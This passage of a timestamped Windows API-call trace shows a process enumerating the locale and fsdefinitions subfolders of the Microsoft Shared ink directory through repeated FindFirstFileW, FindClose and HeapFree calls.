ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.727] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.727] GetProcessHeap () returned 0x730000 [0054.727] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ec2898 | out: hHeap=0x730000) returned 1 [0054.727] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.728] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.729] GetProcessHeap () returned 0x730000 [0054.729] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ec2898 | out: hHeap=0x730000) returned 1 [0054.729] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.730] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.730] GetProcessHeap () returned 0x730000 [0054.730] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ec2898 | out: hHeap=0x730000) returned 1 [0054.730] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.731] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.731] GetProcessHeap () returned 0x730000 [0054.731] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ec2898 | out: hHeap=0x730000) returned 1 [0054.731] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.731] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.731] GetProcessHeap () returned 0x730000 [0054.731] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ec2898 | out: hHeap=0x730000) returned 1 [0054.731] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.731] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.732] GetProcessHeap () returned 0x730000 [0054.732] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ec2898 | out: hHeap=0x730000) returned 1 [0054.732] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.733] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x27fea90 | out: lpFindFileData=0x27fea90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752278 [0054.734] FindClose (in: hFindFile=0x752278 | out: hFindFile=0x752278) returned 1 [0054.734] GetProcessHeap () returned 0x730000 [0054.734] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.734] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x27fea90 | out: lpFindFileData=0x27fea90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752278 [0054.734] FindClose (in: hFindFile=0x752278 | out: hFindFile=0x752278) returned 1 [0054.734] GetProcessHeap () returned 0x730000 [0054.734] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.734] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x27fea90 | out: lpFindFileData=0x27fea90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522b8 [0054.736] FindClose (in: hFindFile=0x7522b8 | out: hFindFile=0x7522b8) returned 1 [0054.737] GetProcessHeap () returned 0x730000 [0054.737] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.737] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", lpFindFileData=0x27fea90 | out: lpFindFileData=0x27fea90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522b8 [0054.737] FindClose (in: hFindFile=0x7522b8 | out: hFindFile=0x7522b8) returned 1 [0054.737] GetProcessHeap () returned 0x730000 [0054.737] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.737] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x27fea90 | out: lpFindFileData=0x27fea90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522b8 [0054.738] FindClose (in: hFindFile=0x7522b8 | out: hFindFile=0x7522b8) returned 1 [0054.738] GetProcessHeap () returned 0x730000 [0054.738] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.738] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x27fea90 | out: lpFindFileData=0x27fea90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522b8 [0054.738] FindClose (in: hFindFile=0x7522b8 | out: hFindFile=0x7522b8) returned 1 [0054.738] GetProcessHeap () returned 0x730000 [0054.738] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.738] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x27fea90 | out: lpFindFileData=0x27fea90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522b8 [0054.738] FindClose (in: hFindFile=0x7522b8 | out: hFindFile=0x7522b8) returned 1 [0054.738] GetProcessHeap () returned 0x730000 [0054.738] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.738] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x27fea90 | out: lpFindFileData=0x27fea90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522b8 [0054.739] FindClose (in: hFindFile=0x7522b8 | out: hFindFile=0x7522b8) returned 1 [0054.739] GetProcessHeap () returned 0x730000 [0054.739] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.739] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", lpFindFileData=0x27fea90 | out: lpFindFileData=0x27fea90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522b8 [0054.739] FindClose (in: hFindFile=0x7522b8 | out: hFindFile=0x7522b8) returned 1 [0054.739] GetProcessHeap () returned 0x730000 [0054.740] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.740] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.740] GetProcessHeap () returned 0x730000 [0054.740] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ec2898 | out: hHeap=0x730000) returned 1 [0054.740] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.740] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.740] GetProcessHeap () returned 0x730000 [0054.740] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.740] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.740] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.741] GetProcessHeap () returned 0x730000 [0054.741] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.741] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.741] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.741] GetProcessHeap () returned 0x730000 [0054.741] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.741] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.742] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.742] GetProcessHeap () returned 0x730000 [0054.742] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.742] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.743] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.743] GetProcessHeap () returned 0x730000 [0054.743] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.743] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.746] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.746] GetProcessHeap () returned 0x730000 [0054.746] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.746] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.746] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.746] GetProcessHeap () returned 0x730000 [0054.746] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.747] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.748] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.748] GetProcessHeap () returned 0x730000 [0054.748] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.748] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.749] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.749] GetProcessHeap () returned 0x730000 [0054.749] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.749] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.750] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.750] GetProcessHeap () returned 0x730000 [0054.750] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.750] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.750] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.750] GetProcessHeap () returned 0x730000 [0054.750] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.750] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.751] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.751] GetProcessHeap () returned 0x730000 [0054.751] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.751] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.752] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.752] GetProcessHeap () returned 0x730000 [0054.752] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.752] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.752] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.752] GetProcessHeap () returned 0x730000 [0054.752] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.752] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.753] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.753] GetProcessHeap () returned 0x730000 [0054.753] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.753] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", lpFindFileData=0x27fed18 | out: 